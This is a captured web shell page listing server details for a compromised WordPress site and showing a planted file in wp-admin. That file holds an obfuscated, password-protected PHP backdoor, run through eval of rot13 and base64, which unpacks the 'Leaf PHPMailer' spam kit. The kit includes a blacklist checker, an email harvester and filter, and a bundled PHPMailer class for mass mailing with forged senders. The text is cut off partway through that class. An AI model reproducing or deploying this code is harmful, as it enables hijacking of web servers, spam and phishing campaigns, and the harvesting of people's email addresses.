https://t.me/RX1948
Server : LiteSpeed
System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : kerao9884 ( 1082)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/kaos188slot.com/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/kaos188slot.com/public_html/wp-admin/kcbqyipd.php
<?php $password = "tvqvdnzex"; $eBXUo = 'base'.'64'.'_deco'.'de'; $tHsdV = 'st'.'r'.'_ro'.'t13'; ini_set('error_log', NULL); /* ocloikrultfvhwqw p dvyqtd        **/ error_reporting(0); eval($tHsdV($eBXUo('

frffvba_fgneg();
reebe_ercbegvat(0);
frg_gvzr_yvzvg(0);
vav_frg("zrzbel_yvzvg",-1);

$yrns['irefvba']="2.8";
$yrns['jrofvgr']="yrnsznvyre.cj";


$frffvbapbqr = zq5(__SVYR__);
vs(!rzcgl($cnffjbeq) naq $_FRFFVBA[$frffvbapbqr] != $cnffjbeq){
    vs (vffrg($_ERDHRFG['cnff']) naq $_ERDHRFG['cnff'] == $cnffjbeq) {
        $_FRFFVBA[$frffvbapbqr] = $cnffjbeq;
    }
    ryfr {
        cevag "<cer nyvta=pragre><sbez zrgubq=cbfg>Cnffjbeq: <vachg glcr='cnffjbeq' anzr='cnff'><vachg glcr='fhozvg' inyhr='>>'></sbez></cer>";
        rkvg;        
    }
}

frffvba_jevgr_pybfr();


shapgvba yrnsPyrne($grkg,$rznvy){
	$r = rkcybqr('@', $rznvy);
	$rznvyhfre=$r[0];
	$rznvyqbznva=$r[1];
    $grkg = fge_ercynpr("[-gvzr-]", qngr("z/q/L u:v:f n", gvzr()), $grkg);
    $grkg = fge_ercynpr("[-rznvy-]", $rznvy, $grkg);
    $grkg = fge_ercynpr("[-rznvyhfre-]", $rznvyhfre, $grkg);
    $grkg = fge_ercynpr("[-rznvyqbznva-]", $rznvyqbznva, $grkg);
    $grkg = fge_ercynpr("[-enaqbzyrggref-]", enaqFgevat('nopqrstuvwxyzabcdefghijklm'), $grkg);
    $grkg = fge_ercynpr("[-enaqbzfgevat-]", enaqFgevat('nopqrstuvwxyzabcdefghijklm0123456789'), $grkg);
    $grkg = fge_ercynpr("[-enaqbzahzore-]", enaqFgevat('0123456789'), $grkg);
    $grkg = fge_ercynpr("[-enaqbzzq5-]", zq5(enaqFgevat('nopqrstuvwxyzabcdefghijklm0123456789')), $grkg);
    erghea $grkg;  
}
shapgvba yrnsGevz($fgevat){
	$fgevat=heyqrpbqr($fgevat);
    erghea fgevcfynfurf(gevz($fgevat));
}
shapgvba enaqFgevat($pbafbanagf) {
    $yratgu=enaq(12,25);
    $cnffjbeq = '';
    sbe ($v = 0; $v < $yratgu; $v++) {
            $cnffjbeq .= $pbafbanagf[(enaq() % fgeyra($pbafbanagf))];
    }
    erghea $cnffjbeq;
}
shapgvba yrnsZnvyPurpx($rznvy){
    vs (svygre_ine($rznvy, SVYGRE_INYVQNGR_RZNVY)) erghea gehr;
    ryfr erghea snyfr;
}
# Ohyvg-va OynpxYvfg Purpxre 
vs(vffrg($_TRG['purpx_vc'])){
    vs (vffrg($_TRG['ubfg'])){
        $_TRG['ubfg']=rkcybqr(",", $_TRG['ubfg']);
        sbernpu ($_TRG['ubfg'] nf $ubfg) {
            vs (purpxqafee($_TRG['purpx_vc'] . "." .  $ubfg . ".", "N")) $purpx= "<sbag pbybe='erq'> Yvfgrq</sbag>";
            ryfr $purpx= "<sbag pbybe='terra'> Pyrna</sbag>";
            cevag 'qbphzrag.trgRyrzragOlVq("'. $ubfg.'").vaareUGZY = "'.$purpx.'";';
        }

        rkvg;
    }
    $qafoy_ybbxhc = neenl(
        "nyy.f5u.arg",
        "o.oneenphqnprageny.bet",
        "oy.fcnzpbc.arg",
        "oynpxyvfg.jbbql.pu",
        "obtbaf.plzeh.pbz",
        "poy.nohfrng.bet",
        "pqy.nagv-fcnz.bet.pa",
        "pbzovarq.nohfr.pu",
        "qo.jcoy.vasb",
        "qafoy-1.hprcebgrpg.arg",
        "qafoy-2.hprcebgrpg.arg",
        "qafoy-3.hprcebgrpg.arg",
        "qafoy.nagvpncgpun.arg",
        "qafoy.qebaroy.bet",
        "qafoy.vacf.qr",
        "qafoy.fbeof.arg",
        "qebar.nohfr.pu",
        "qhvai.nhcnqf.bet",
        "qhy.qafoy.fbeof.arg",
        "qlan.fcnzengf.pbz",
        "qlavc.ebgura.pbz",
        "uggc.qafoy.fbeof.arg",
        "vcf.onpxfpnggrere.bet",
        "vk.qafoy.znavgh.arg",
        "xbern.freivprf.arg",
        "zvfp.qafoy.fbeof.arg",
        "abcge.fcnzengf.pbz",
        "beirqo.nhcnqf.bet",
        "coy.fcnzunhf.bet",
        "cebkl.oy.tjrrc.pn",
        "cfoy.fheevry.pbz",
        "erynlf.oy.tjrrc.pn",
        "erynlf.argure.arg",
        "foy.fcnzunhf.bet",
        "fubeg.eoy.wc",
        "fvathyne.ggx.cgr.uh",
        "fzgc.qafoy.fbeof.arg",
        "fbpxf.qafoy.fbeof.arg",
        "fcnz.nohfr.pu",
        "fcnz.qafoy.nabaznvyf.qr",
        "fcnz.qafoy.fbeof.arg",
        "fcnz.fcnzengf.pbz",
        "fcnzobg.oyf.qvtvonfr.pn",
        "fcnzeoy.vzc.pu",
        "fcnzfbheprf.snory.qx",
        "hoy.ynfuonpx.pbz",
        "hoy.hafhofpber.pbz",
        "ivehf.eoy.wc",
        "jro.qafoy.fbeof.arg",
        "jbezeoy.vzc.pu",
        "koy.fcnzunhf.bet",
        "m.znvyfcvxr.arg",
        "mra.fcnzunhf.bet",
        "mbzovr.qafoy.fbeof.arg",
    );
    $erirefr_vc = vzcybqr(".", neenl_erirefr(rkcybqr(".", $_TRG['purpx_vc'])));
    $qafG = pbhag($qafoy_ybbxhc);
    yrnsurnqre();
    cevag '<qvi pynff="pbagnvare pby-yt-6"><u3><sbag pbybe="terra"><fcna pynff="tylcuvpba tylcuvpba-yrns"></fcna></sbag> Yrns CUCZnvyre <fznyy>Oynpxyvfg Purpxre</fznyy></u3>';
    Cevag "Purpxvat <o>".$_TRG['purpx_vc']."</o> va <o>$qafG</o>  nagv-fcnz qngnonfrf:<oe>";
    $qafA="";
    cevag '<gnoyr >';
    sbe ($v=0; $v < $qafG; $v=$v+10) { 
        $ubfg="";
        $ubfgf="";
        sbe($w=$v; $w<$v+10;$w++){
            $ubfg=$qafoy_ybbxhc[$w];
            vs(!rzcgl($ubfg)){
                cevag "<ge> <gq>$ubfg</gq> <gq vq='$ubfg'>Purpxvat ..</gq></ge>";
                $ubfgf .="$ubfg,";
            }
        }
        $qafA.="<fpevcg fep='?purpx_vc=$erirefr_vc&ubfg=".$ubfgf."' glcr='grkg/wninfpevcg'></fpevcg>";
    }

    cevag '</gnoyr></qvi>';
    cevag $qafA;
    rkvg;
}
vs(vffrg($_TRG['rznvysvygre'])){

    vs(!rzcgl($_SVYRF['svyrGbHcybnq']['gzc_anzr'])){
        $_CBFG['rznvyYvfg']= svyr_trg_pbagragf($_SVYRF["svyrGbHcybnq"]["gzc_anzr"]); 
    }
    $_CBFG['rznvyYvfg']=fgegbybjre($_CBFG['rznvyYvfg']);
   vs($_TRG['rznvysvygre']=="vsenz"){
        vs ($_CBFG['erfhygglcr'] == "qbjaybnq"){
            urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre"); 
            urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz"); 
            urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=rznvyf".gvzr().".gkg");
        }
        ryfr {
            urnqre("Pbagrag-Glcr: grkg/cynva");
        }
    vs($_CBFG['fhozvg']=="rkgenpg"){
        $cnggrea = '/[N-Mn-m0-9._%+-]+@[N-Mn-m0-9.-]+\.[N-Mn-m]{2,4}/';
        cert_zngpu_nyy($cnggrea, $_CBFG['rznvyYvfg'], $zngpurf);
        sbernpu ($zngpurf[0] nf $rznvy) {
            cevag $rznvy."\a";
        }
    }
    ryfrvs ($_CBFG['fhozvg']=="svygre") {
        $rznvyf=rkcybqr("\a", $_CBFG['rznvyYvfg']);
        $xrljbeqf=rkcybqr("\a", fgegbybjre($_CBFG['xrljbeqf']));
        sbernpu ($rznvyf nf $rznvy) {
            sbernpu ($xrljbeqf nf $xrljbeq ) {
                vs(fgefge($rznvy, $xrljbeq) ){
                    cevag $rznvy."\a";
                     oernx;
                }
               
            }
        }

    }
    rkvg;
   }
   yrnsurnqre();
   cevag '<qvi pynff="pbagnvare pby-yt-4"><u3><sbag pbybe="terra"><fcna pynff="tylcuvpba tylcuvpba-yrns"></fcna></sbag> Yrns CUCZnvyre <fznyy>Rznvy Svygre</fznyy></u3>';
   cevag '
    <sbez npgvba="?rznvysvygre=vsenz" zrgubq="CBFG" gnetrg="zl-vsenzr" rapglcr="zhygvcneg/sbez-qngn" bafhozvg=\'\'>
        <ynory sbe="rznvyYvfg">Grkg </ynory><vachg glcr="svyr" anzr="svyrGbHcybnq" vq="svyrGbHcybnq"> 
        be

        <grkgnern anzr="rznvyYvfg" vq="rznvyYvfg" pynff="sbez-pbageby" ebjf="7" vq="grkgNern"></grkgnern>
      <qvi pynff="pby-yt-12">
        <qvi pynff="enqvb">
          <ynory>
            <vachg glcr="enqvb" anzr="erfhygglcr" vq="erfhygglcr" inyhr="urer" purpxrq="">
            Fubj Erfhyg va guvf cntr
          </ynory>
        </qvi>
        <qvi pynff="enqvb">
          <ynory>
            <vachg glcr="enqvb" anzr="erfhygglcr" vq="erfhygglcr" inyhr="qbjaybnq">
            Qbjaybnq Erfhyg (sbe ovt ahzoref)
          </ynory>
        </qvi>
      </qvi>
            <yrtraq><u4>Rkgenpg Rznvy</u4></yrtraq>
            Qrgrpgvat rirel rznvy (100%) naq beqre gurz yvar ol yvar <oe><oe>
        <ohggba glcr="fhozvg" anzr="fhozvg" inyhr="rkgenpg" pynff="oga oga-qrsnhyg oga-fz">Fgneg</ohggba>
            <yrtraq><u4>Svygre Rznvyf</u4></yrtraq>
        <ynory >Xrljbeqf <fznyy> rk: tznvy.pbz be .pb.hx</fznyy> </ynory><grkgnern anzr="xrljbeqf" vq="xrljbeqf" pynff="sbez-pbageby" ebjf="4" vq="grkgNern">tznvy.pbz
ubgznvy.pbz
lnubb.pbz
.pb.hx</grkgnern><oe>

            <ohggba glcr="fhozvg" anzr="fhozvg" inyhr="svygre" pynff="oga oga-qrsnhyg oga-fz">Fgneg</ohggba>
    </sbez>
    <ynory >Erfhyg </ynory>
    <vsenzr fglyr="obeqre:abar;jvqgu:100%;" anzr="zl-vsenzr"  fep="?rznvysvygre=vsenz" ></vsenzr>
   ';
   rkvg;

}
$ugzy="purpxrq";
$hgs8="fryrpgrq";
$ovg8="fryrpgrq";

vs($_CBFG['npgvba']=="fraq" be $_CBFG['npgvba']=="fpber"){

    $fraqreRznvy=yrnsGevz($_CBFG['fraqreRznvy']);
    $fraqreAnzr=yrnsGevz($_CBFG['fraqreAnzr']);
    $ercylGb=yrnsGevz($_CBFG['ercylGb']);
    $fhowrpg=yrnsGevz($_CBFG['fhowrpg']);
    $rznvyYvfg=yrnsGevz($_CBFG['rznvyYvfg']);
    $zrffntrGlcr=yrnsGevz($_CBFG['zrffntrGlcr']);
    $zrffntrYrggre=yrnsGevz($_CBFG['zrffntrYrggre']);
    $rapbqvat = $_CBFG['rapbqr'];
    $punefrg = $_CBFG['punefrg'];
    $ugzy="";
    $hgs8="";
    $ovg8="";

    vs($zrffntrGlcr==2) $cynva="purpxrq";
    ryfr $ugzy="purpxrq";

    vs($punefrg=="VFB-8859-1") $vfb="fryrpgrq";
    ryfr $hgs8="fryrpgrq";

    vs($rapbqvat=="7ovg") $ovg7="fryrpgrq";
    ryfrvs($rapbqvat=="ovanel") $ovanel="fryrpgrq";
    ryfrvs($rapbqvat=="onfr64") $onfr64="fryrpgrq";
    ryfrvs($rapbqvat=="dhbgrq-cevagnoyr") $dhbgrqcevagnoyr="fryrpgrq";
    ryfr $ovg8="fryrpgrq";



}
vs($_CBFG['npgvba']=="ivrj"){
	$ivrjZrffntr=yrnsGevz($_CBFG['zrffntrYrggre']);
	$ivrjZrffntr=yrnsPyrne($ivrjZrffntr,"hfre@qbznva.pbz");
	vs ($_CBFG['zrffntrGlcr']==2){
		cevag "<cer>".ugzyfcrpvnypunef($ivrjZrffntr)."</cer>";
	}
	ryfr {
		cevag $ivrjZrffntr;
	}
	rkvg;
}



vs(!vffrg($_CBFG['fraqreRznvy'])){
    $fraqreRznvy="fhccbeg@".fge_ercynpr("jjj.", "", $_FREIRE['UGGC_UBFG']);
    vs (!yrnsZnvyPurpx($fraqreRznvy)) $fraqreRznvy="";
}

pynff CUCZnvyre
{
    /**
     * Gur CUCZnvyre Irefvba ahzore.
     * @ine fgevat
     */
    choyvp $Irefvba = '5.2.28';

    /**
     * Rznvy cevbevgl.
     * Bcgvbaf: ahyy (qrsnhyg), 1 = Uvtu, 3 = Abezny, 5 = ybj.
     * Jura ahyy, gur urnqre vf abg frg ng nyy.
     * @ine vagrtre
     */
    choyvp $Cevbevgl = ahyy;

    /**
     * Gur punenpgre frg bs gur zrffntr.
     * @ine fgevat
     */
    choyvp $PuneFrg = 'vfb-8859-1';

    /**
     * Gur ZVZR Pbagrag-glcr bs gur zrffntr.
     * @ine fgevat
     */
    choyvp $PbagragGlcr = 'grkg/cynva';

    /**
     * Gur zrffntr rapbqvat.
     * Bcgvbaf: "8ovg", "7ovg", "ovanel", "onfr64", naq "dhbgrq-cevagnoyr".
     * @ine fgevat
     */
    choyvp $Rapbqvat = '8ovg';

    /**
     * Ubyqf gur zbfg erprag znvyre reebe zrffntr.
     * @ine fgevat
     */
    choyvp $ReebeVasb = '';

    /**
     * Gur Sebz rznvy nqqerff sbe gur zrffntr.
     * @ine fgevat
     */
    choyvp $Sebz = 'ebbg@ybpnyubfg';

    /**
     * Gur Sebz anzr bs gur zrffntr.
     * @ine fgevat
     */
    choyvp $SebzAnzr = 'Ebbg Hfre';

    /**
     * Gur Fraqre rznvy (Erghea-Cngu) bs gur zrffntr.
     * Vs abg rzcgl, jvyy or frag ivn -s gb fraqznvy be nf 'ZNVY SEBZ' va fzgc zbqr.
     * @ine fgevat
     */
    choyvp $Fraqre = '';

    /**
     * Gur Erghea-Cngu bs gur zrffntr.
     * Vs rzcgl, vg jvyy or frg gb rvgure Sebz be Fraqre.
     * @ine fgevat
     * @qrcerpngrq Rznvy fraqref fubhyq arire frg n erghea-cngu urnqre;
     * vg'f gur erprvire'f wbo (ESP5321 frpgvba 4.4), fb guvf ab ybatre qbrf nalguvat.
     * @yvax uggcf://gbbyf.vrgs.bet/ugzy/esp5321#frpgvba-4.4 ESP5321 ersrerapr
     */
    choyvp $ErgheaCngu = '';

    /**
     * Gur Fhowrpg bs gur zrffntr.
     * @ine fgevat
     */
    choyvp $Fhowrpg = '';

    /**
     * Na UGZY be cynva grkg zrffntr obql.
     * Vs UGZY gura pnyy vfUGZY(gehr).
     * @ine fgevat
     */
    choyvp $Obql = '';

    /**
     * Gur cynva-grkg zrffntr obql.
     * Guvf obql pna or ernq ol znvy pyvragf gung qb abg unir UGZY rznvy
     * pncnovyvgl fhpu nf zhgg & Rhqben.
     * Pyvragf gung pna ernq UGZY jvyy ivrj gur abezny Obql.
     * @ine fgevat
     */
    choyvp $NygObql = '';

    /**
     * Na vPny zrffntr cneg obql.
     * Bayl fhccbegrq va fvzcyr nyg be nyg_vayvar zrffntr glcrf
     * Gb trarengr vPny riragf, hfr gur ohaqyrq rkgenf/RnflCrnflVPF.cuc pynff be vPnyperngbe
     * @yvax uggc://fcenva.pu/oybt/qbjaybnqf/cuc-pynff-rnflcrnflvpf-perngr-vpny-svyrf-jvgu-cuc/
     * @yvax uggc://xvtxbafhyg.fr/vPnyperngbe/
     * @ine fgevat
     */
    choyvp $Vpny = '';

    /**
     * Gur pbzcyrgr pbzcvyrq ZVZR zrffntr obql.
     * @npprff cebgrpgrq
     * @ine fgevat
     */
    cebgrpgrq $ZVZRObql = '';

    /**
     * Gur pbzcyrgr pbzcvyrq ZVZR zrffntr urnqref.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $ZVZRUrnqre = '';

    /**
     * Rkgen urnqref gung perngrUrnqre() qbrfa'g sbyq va.
     * @ine fgevat
     * @npprff cebgrpgrq
     */
    cebgrpgrq $znvyUrnqre = '';

    /**
     * Jbeq-jenc gur zrffntr obql gb guvf ahzore bs punef.
     * Frg gb 0 gb abg jenc. N hfrshy inyhr urer vf 78, sbe ESP2822 frpgvba 2.1.1 pbzcyvnapr.
     * @ine vagrtre
     */
    choyvp $JbeqJenc = 0;

    /**
     * Juvpu zrgubq gb hfr gb fraq znvy.
     * Bcgvbaf: "znvy", "fraqznvy", be "fzgc".
     * @ine fgevat
     */
    choyvp $Znvyre = 'znvy';

    /**
     * Gur cngu gb gur fraqznvy cebtenz.
     * @ine fgevat
     */
    choyvp $Fraqznvy = '/hfe/fova/fraqznvy';

    /**
     * Jurgure znvy() hfrf n shyyl fraqznvy-pbzcngvoyr ZGN.
     * Bar juvpu fhccbegf fraqznvy'f "-bv -s" bcgvbaf.
     * @ine obbyrna
     */
    choyvp $HfrFraqznvyBcgvbaf = gehr;

    /**
     * Cngu gb CUCZnvyre cyhtvaf.
     * Hfrshy vs gur FZGC pynff vf abg va gur CUC vapyhqr cngu.
     * @ine fgevat
     * @qrcerpngrq Fubhyq abg or arrqrq abj gurer vf na nhgbybnqre.
     */
    choyvp $CyhtvaQve = '';

    /**
     * Gur rznvy nqqerff gung n ernqvat pbasvezngvba fubhyq or frag gb, nyfb xabja nf ernq erprvcg.
     * @ine fgevat
     */
    choyvp $PbasvezErnqvatGb = '';

    /**
     * Gur ubfganzr gb hfr va gur Zrffntr-VQ urnqre naq nf qrsnhyg URYB fgevat.
     * Vs rzcgl, CUCZnvyre nggrzcgf gb svaq bar jvgu, va beqre,
     * $_FREIRE['FREIRE_ANZR'], trgubfganzr(), cuc_hanzr('a'), be gur inyhr
     * 'ybpnyubfg.ybpnyqbznva'.
     * @ine fgevat
     */
    choyvp $Ubfganzr = '';

    /**
     * Na VQ gb or hfrq va gur Zrffntr-VQ urnqre.
     * Vs rzcgl, n havdhr vq jvyy or trarengrq.
     * Lbh pna frg lbhe bja, ohg vg zhfg or va gur sbezng "<vq@qbznva>",
     * nf qrsvarq va ESP5322 frpgvba 3.6.4 be vg jvyy or vtaberq.
     * @frr uggcf://gbbyf.vrgs.bet/ugzy/esp5322#frpgvba-3.6.4
     * @ine fgevat
     */
    choyvp $ZrffntrVQ = '';

    /**
     * Gur zrffntr Qngr gb or hfrq va gur Qngr urnqre.
     * Vs rzcgl, gur pheerag qngr jvyy or nqqrq.
     * @ine fgevat
     */
    choyvp $ZrffntrQngr = '';

    /**
     * FZGC ubfgf.
     * Rvgure n fvatyr ubfganzr be zhygvcyr frzvpbyba-qryvzvgrq ubfganzrf.
     * Lbh pna nyfb fcrpvsl n qvssrerag cbeg
     * sbe rnpu ubfg ol hfvat guvf sbezng: [ubfganzr:cbeg]
     * (r.t. "fzgc1.rknzcyr.pbz:25;fzgc2.rknzcyr.pbz").
     * Lbh pna nyfb fcrpvsl rapelcgvba glcr, sbe rknzcyr:
     * (r.t. "gyf://fzgc1.rknzcyr.pbz:587;ffy://fzgc2.rknzcyr.pbz:465").
     * Ubfgf jvyy or gevrq va beqre.
     * @ine fgevat
     */
    choyvp $Ubfg = 'ybpnyubfg';

    /**
     * Gur qrsnhyg FZGC freire cbeg.
     * @ine vagrtre
     * @GBQB Jul vf guvf arrqrq jura gur FZGC pynff gnxrf pner bs vg?
     */
    choyvp $Cbeg = 25;

    /**
     * Gur FZGC URYB bs gur zrffntr.
     * Qrsnhyg vf $Ubfganzr. Vs $Ubfganzr vf rzcgl, CUCZnvyre nggrzcgf gb svaq
     * bar jvgu gur fnzr zrgubq qrfpevorq nobir sbe $Ubfganzr.
     * @ine fgevat
     * @frr CUCZnvyre::$Ubfganzr
     */
    choyvp $Uryb = '';

    /**
     * Jung xvaq bs rapelcgvba gb hfr ba gur FZGC pbaarpgvba.
     * Bcgvbaf: '', 'ffy' be 'gyf'
     * @ine fgevat
     */
    choyvp $FZGCFrpher = '';

    /**
     * Jurgure gb ranoyr GYF rapelcgvba nhgbzngvpnyyl vs n freire fhccbegf vg,
     * rira vs `FZGCFrpher` vf abg frg gb 'gyf'.
     * Or njner gung va CUC >= 5.6 guvf erdhverf gung gur freire'f pregvsvpngrf ner inyvq.
     * @ine obbyrna
     */
    choyvp $FZGCNhgbGYF = gehr;

    /**
     * Jurgure gb hfr FZGC nhguragvpngvba.
     * Hfrf gur Hfreanzr naq Cnffjbeq cebcregvrf.
     * @ine obbyrna
     * @frr CUCZnvyre::$Hfreanzr
     * @frr CUCZnvyre::$Cnffjbeq
     */
    choyvp $FZGCNhgu = snyfr;

    /**
     * Bcgvbaf neenl cnffrq gb fgernz_pbagrkg_perngr jura pbaarpgvat ivn FZGC.
     * @ine neenl
     */
    choyvp $FZGCBcgvbaf = neenl();

    /**
     * FZGC hfreanzr.
     * @ine fgevat
     */
    choyvp $Hfreanzr = '';

    /**
     * FZGC cnffjbeq.
     * @ine fgevat
     */
    choyvp $Cnffjbeq = '';

    /**
     * FZGC nhgu glcr.
     * Bcgvbaf ner PENZ-ZQ5, YBTVA, CYNVA, AGYZ, KBNHGU2, nggrzcgrq va gung beqre vs abg fcrpvsvrq
     * @ine fgevat
     */
    choyvp $NhguGlcr = '';

    /**
     * FZGC ernyz.
     * Hfrq sbe AGYZ nhgu
     * @ine fgevat
     */
    choyvp $Ernyz = '';

    /**
     * FZGC jbexfgngvba.
     * Hfrq sbe AGYZ nhgu
     * @ine fgevat
     */
    choyvp $Jbexfgngvba = '';

    /**
     * Gur FZGC freire gvzrbhg va frpbaqf.
     * Qrsnhyg bs 5 zvahgrf (300frp) vf sebz ESP2821 frpgvba 4.5.3.2
     * @ine vagrtre
     */
    choyvp $Gvzrbhg = 300;

    /**
     * FZGC pynff qroht bhgchg zbqr.
     * Qroht bhgchg yriry.
     * Bcgvbaf:
     * * `0` Ab bhgchg
     * * `1` Pbzznaqf
     * * `2` Qngn naq pbzznaqf
     * * `3` Nf 2 cyhf pbaarpgvba fgnghf
     * * `4` Ybj-yriry qngn bhgchg
     * @ine vagrtre
     * @frr FZGC::$qb_qroht
     */
    choyvp $FZGCQroht = 0;

    /**
     * Ubj gb unaqyr qroht bhgchg.
     * Bcgvbaf:
     * * `rpub` Bhgchg cynva-grkg nf-vf, nccebcevngr sbe PYV
     * * `ugzy` Bhgchg rfpncrq, yvar oernxf pbairegrq gb `<oe>`, nccebcevngr sbe oebjfre bhgchg
     * * `reebe_ybt` Bhgchg gb reebe ybt nf pbasvtherq va cuc.vav
     *
     * Nygreangviryl, lbh pna cebivqr n pnyynoyr rkcrpgvat gjb cnenzf: n zrffntr fgevat naq gur qroht yriry:
     * <pbqr>
     * $znvy->Qrohtbhgchg = shapgvba($fge, $yriry) {rpub "qroht yriry $yriry; zrffntr: $fge";};
     * </pbqr>
     * @ine fgevat|pnyynoyr
     * @frr FZGC::$Qrohtbhgchg
     */
    choyvp $Qrohtbhgchg = 'rpub';

    /**
     * Jurgure gb xrrc FZGC pbaarpgvba bcra nsgre rnpu zrffntr.
     * Vs guvf vf frg gb gehr gura gb pybfr gur pbaarpgvba
     * erdhverf na rkcyvpvg pnyy gb fzgcPybfr().
     * @ine obbyrna
     */
    choyvp $FZGCXrrcNyvir = snyfr;

    /**
     * Jurgure gb fcyvg zhygvcyr gb nqqerffrf vagb zhygvcyr zrffntrf
     * be fraq gurz nyy va bar zrffntr.
     * Bayl fhccbegrq va `znvy` naq `fraqznvy` genafcbegf, abg va FZGC.
     * @ine obbyrna
     */
    choyvp $FvatyrGb = snyfr;

    /**
     * Fgbentr sbe nqqerffrf jura FvatyrGb vf ranoyrq.
     * @ine neenl
     * @GBQB Guvf fubhyq ernyyl abg or choyvp
     */
    choyvp $FvatyrGbNeenl = neenl();

    /**
     * Jurgure gb trarengr IREC nqqerffrf ba fraq.
     * Bayl nccyvpnoyr jura fraqvat ivn FZGC.
     * @yvax uggcf://ra.jvxvcrqvn.bet/jvxv/Inevnoyr_rairybcr_erghea_cngu
     * @yvax uggc://jjj.cbfgsvk.bet/IREC_ERNQZR.ugzy Cbfgsvk IREC vasb
     * @ine obbyrna
     */
    choyvp $qb_irec = snyfr;

    /**
     * Jurgure gb nyybj fraqvat zrffntrf jvgu na rzcgl obql.
     * @ine obbyrna
     */
    choyvp $NyybjRzcgl = snyfr;

    /**
     * Gur qrsnhyg yvar raqvat.
     * @abgr Gur qrsnhyg erznvaf "\a". Jr sbepr PEYS jurer jr xabj
     *        vg zhfg or hfrq ivn frys::PEYS.
     * @ine fgevat
     */
    choyvp $YR = "\a";

    /**
     * QXVZ fryrpgbe.
     * @ine fgevat
     */
    choyvp $QXVZ_fryrpgbe = '';

    /**
     * QXVZ Vqragvgl.
     * Hfhnyyl gur rznvy nqqerff hfrq nf gur fbhepr bs gur rznvy.
     * @ine fgevat
     */
    choyvp $QXVZ_vqragvgl = '';

    /**
     * QXVZ cnffcuenfr.
     * Hfrq vs lbhe xrl vf rapelcgrq.
     * @ine fgevat
     */
    choyvp $QXVZ_cnffcuenfr = '';

    /**
     * QXVZ fvtavat qbznva anzr.
     * @rknzcyr 'rknzcyr.pbz'
     * @ine fgevat
     */
    choyvp $QXVZ_qbznva = '';

    /**
     * QXVZ cevingr xrl svyr cngu.
     * @ine fgevat
     */
    choyvp $QXVZ_cevingr = '';

    /**
     * QXVZ cevingr xrl fgevat.
     * Vs frg, gnxrf cerprqrapr bire `$QXVZ_cevingr`.
     * @ine fgevat
     */
    choyvp $QXVZ_cevingr_fgevat = '';

    /**
     * Pnyyonpx Npgvba shapgvba anzr.
     *
     * Gur shapgvba gung unaqyrf gur erfhyg bs gur fraq rznvy npgvba.
     * Vg vf pnyyrq bhg ol fraq() sbe rnpu rznvy frag.
     *
     * Inyhr pna or nal cuc pnyynoyr: uggc://jjj.cuc.arg/vf_pnyynoyr
     *
     * Cnenzrgref:
     *   obbyrna $erfhyg        erfhyg bs gur fraq npgvba
     *   neenl   $gb            rznvy nqqerffrf bs gur erpvcvragf
     *   neenl   $pp            pp rznvy nqqerffrf
     *   neenl   $opp           opp rznvy nqqerffrf
     *   fgevat  $fhowrpg       gur fhowrpg
     *   fgevat  $obql          gur rznvy obql
     *   fgevat  $sebz          rznvy nqqerff bs fraqre
     * @ine fgevat
     */
    choyvp $npgvba_shapgvba = '';

    /**
     * Jung gb chg va gur K-Znvyre urnqre.
     * Bcgvbaf: Na rzcgl fgevat sbe CUCZnvyre qrsnhyg, juvgrfcnpr sbe abar, be n fgevat gb hfr
     * @ine fgevat
     */
    choyvp $KZnvyre = ' ';

    /**
     * Juvpu inyvqngbe gb hfr ol qrsnhyg jura inyvqngvat rznvy nqqerffrf.
     * Znl or n pnyynoyr gb vawrpg lbhe bja inyvqngbe, ohg gurer ner frireny ohvyg-va inyvqngbef.
     * @frr CUCZnvyre::inyvqngrNqqerff()
     * @ine fgevat|pnyynoyr
     * @fgngvp
     */
    choyvp fgngvp $inyvqngbe = 'nhgb';

    /**
     * Na vafgnapr bs gur FZGC fraqre pynff.
     * @ine FZGC
     * @npprff cebgrpgrq
     */
    cebgrpgrq $fzgc = ahyy;

    /**
     * Gur neenl bs 'gb' anzrf naq nqqerffrf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $gb = neenl();

    /**
     * Gur neenl bs 'pp' anzrf naq nqqerffrf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $pp = neenl();

    /**
     * Gur neenl bs 'opp' anzrf naq nqqerffrf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $opp = neenl();

    /**
     * Gur neenl bs ercyl-gb anzrf naq nqqerffrf.
     * @ine neenl
     * @npprff cebgrpgrq
     */
    cebgrpgrq $ErcylGb = neenl();

    /**
     * Na neenl bs nyy xvaqf bs nqqerffrf.
     * Vapyhqrf nyy bs $gb, $pp, $opp
     * @ine neenl
     * @npprff cebgrpgrq
     * @frr CUCZnvyre::$gb @frr CUCZnvyre::$pp @frr CUCZnvyre::$opp
     */
    cebgrpgrq $nyy_erpvcvragf = neenl();

    /**
     * Na neenl bs anzrf naq nqqerffrf dhrhrq sbe inyvqngvba.
     * Va fraq(), inyvq naq aba qhcyvpngr ragevrf ner zbirq gb $nyy_erpvcvragf
     * naq bar bs $gb, $pp, be $opp.
     * Guvf neenl vf hfrq bayl sbe nqqerffrf jvgu VQA.
     * @ine neenl
     * @npprff cebgrpgrq
     * @frr CUCZnvyre::$gb @frr CUCZnvyre::$pp @frr CUCZnvyre::$opp
     * @frr CUCZnvyre::$nyy_erpvcvragf
     */
    cebgrpgrq $ErpvcvragfDhrhr = neenl();

    /**
     * Na neenl bs ercyl-gb anzrf naq nqqerffrf dhrhrq sbe inyvqngvba.
     * Va fraq(), inyvq naq aba qhcyvpngr ragevrf ner zbirq gb $ErcylGb.
